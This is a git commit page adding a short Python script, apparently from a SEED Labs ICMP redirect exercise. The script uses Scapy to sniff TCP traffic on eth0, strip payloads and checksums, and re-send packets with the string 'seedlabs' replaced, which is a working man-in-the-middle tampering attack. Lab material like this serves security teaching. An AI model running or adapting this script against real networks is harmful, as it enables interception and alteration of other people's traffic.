first commit
This commit is contained in:
25
ICMP_Directing/Labsetup/mitm_sample.py
Executable file
25
ICMP_Directing/Labsetup/mitm_sample.py
Executable file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
|
||||
print("LAUNCHING MITM ATTACK.........")
|
||||
|
||||
def spoof_pkt(pkt):
|
||||
newpkt = IP(bytes(pkt[IP]))
|
||||
del(newpkt.chksum)
|
||||
del(newpkt[TCP].payload)
|
||||
del(newpkt[TCP].chksum)
|
||||
|
||||
if pkt[TCP].payload:
|
||||
data = pkt[TCP].payload.load
|
||||
print("*** %s, length: %d" % (data, len(data)))
|
||||
|
||||
# Replace a pattern
|
||||
newdata = data.replace(b'seedlabs', b'AAAAAAAA')
|
||||
|
||||
send(newpkt/newdata)
|
||||
else:
|
||||
send(newpkt)
|
||||
|
||||
f = 'tcp'
|
||||
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
|
||||
|
||||
Reference in New Issue
Block a user